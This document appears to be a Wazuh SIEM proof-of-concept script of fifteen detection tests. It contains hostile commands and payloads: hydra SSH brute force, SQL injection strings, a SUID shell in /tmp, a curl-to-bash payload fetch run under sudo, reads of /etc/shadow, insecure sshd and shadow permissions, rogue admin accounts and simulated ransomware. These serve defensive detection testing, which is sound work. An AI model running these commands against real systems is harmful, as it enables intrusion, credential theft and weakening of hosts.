Wazuh PoC Scenarios - 15 Threat Detection Tests

# From the attacker machine - 10 failed login attempts
for i in $(seq 1 10); do
  sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
done

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -V

# Via OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'

# Create the EICAR test file
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
  > /tmp/eicar-test.txt

# Alternative: download EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.com

# Check FIM alerts
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'

rm -f /tmp/eicar-test.txt /tmp/eicar-test.com

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>

# Create the test directory and file
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt

# Wait for scan (or instant with realtime="yes")
sleep 10

# Modify the file
echo "modified content" >> /opt/test-fim/config.txt

# Change permissions
chmod 777 /opt/test-fim/config.txt

# Delete the file
rm -f /opt/test-fim/config.txt

# Via the Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscheck/001?search=/opt/test-fim"

<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>focal</os>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>

# Install a package with known vulnerabilities
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true

# Or for CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true

# Wait for the next scan cycle (default: 5 minutes)

# Via the Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=5&sort=-severity"

<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
</sca>

# Create intentionally insecure SSH configuration
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config

# Set insecure permissions on /etc/shadow
chmod 644 /etc/shadow

# Force an SCA scan
/var/ossec/bin/wazuh-control reload

curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title}'

# Restore secure settings
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadow

# SQL injection via URL parameters
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"

# SQL injection via POST (if a form exists)
curl -X POST "http://TARGET_IP/login" \
  -d "username=admin'--&password=anything"

# Multiple attempts to trigger a correlation alert
for i in $(seq 1 20); do
  curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
done

<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <frequency>36000</frequency>
</rootcheck>

# Create a suspicious file in /dev (typical rootkit behavior)
touch /dev/.hidden_file

# Create a SUID binary in an unusual location
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell

# Create a hidden directory in /dev
mkdir -p /dev/shm/.hidden_dir

# Force rootcheck scan
/var/ossec/bin/wazuh-control reload

rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dir

# Create a fake system binary (simulating a trojaned ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
    system("/bin/ls");
    return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null

# Create a file with a suspicious name
touch /usr/bin/..LsA

# Force rootcheck scan
/var/ossec/bin/wazuh-control reload

rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backup

<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>

<wodle name="docker-listener">
  <disabled>no</disabled>
  <interval>10s</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
</wodle>

# Start a test container
docker run -d --name wazuh-test-container alpine sleep 3600

# Execute commands inside the container
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"

# Suspicious actions inside the container
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/null

docker stop wazuh-test-container
docker rm wazuh-test-container

# PowerShell: create a local user
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"

# Add to Administrators group
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"

# cmd: alternative method
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /add

Remove-LocalUser -Name "testuser_poc"

# Successful sudo execution
sudo ls /root

# Failed sudo attempt (from an unprivileged user)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null

# Multiple failed attempts
for i in $(seq 1 5); do
  echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done

# Sudo with a suspicious command
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/null

# Multiple failed logon attempts (trigger lockout)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)

for ($i = 1; $i -le 10; $i++) {
    try {
        Start-Process notepad.exe -Credential $cred -ErrorAction Stop
    } catch {
        Write-Host "Attempt $i failed"
    }
}

# Logon with a privileged account
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"

<syscheck>
  <directories check_all="yes" realtime="yes">/tmp</directories>
  <directories check_all="yes" realtime="yes">/var/tmp</directories>
  <directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>

<rule id="100300" level="10">
  <if_sid>554</if_sid>
  <field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
  <match>is_executable</match>
  <description>Executable binary created in temporary directory: $(syscheck.path)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>syscheck,suspicious_binary,</group>
</rule>

# Compile a binary in /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary

# Copy a system binary to /var/tmp
cp /usr/bin/python3 /var/tmp/svchost

# Create a script in /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.sh

rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.sh

# Log all new incoming connections
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "

# From the attacker machine: full port scan
nmap -sS -p 1-1000 TARGET_IP

# Service detection scan
nmap -sV -p 22,80,443,3306,5432 TARGET_IP

# Aggressive scan (generates more alerts)
nmap -A -T4 TARGET_IP

# UDP scan
nmap -sU --top-ports 100 TARGET_IP

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>

<rule id="100400" level="12" frequency="20" timeframe="60">
  <if_matched_sid>550</if_matched_sid>
  <description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,</group>
</rule>

<rule id="100401" level="14">
  <if_sid>554</if_sid>
  <field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
  <description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,critical,</group>
</rule>

# Prepare test data
mkdir -p /opt/important-data
for i in $(seq 1 30); do
  echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done

# Wait for the initial FIM scan
sleep 30

# Simulate ransomware behavior: mass renaming with appended extension
for f in /opt/important-data/*.txt; do
  cp "${f}" "${f}.encrypted"
  echo "ENCRYPTED" > "${f}"
done

# Simulate a ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txt

rm -rf /opt/important-data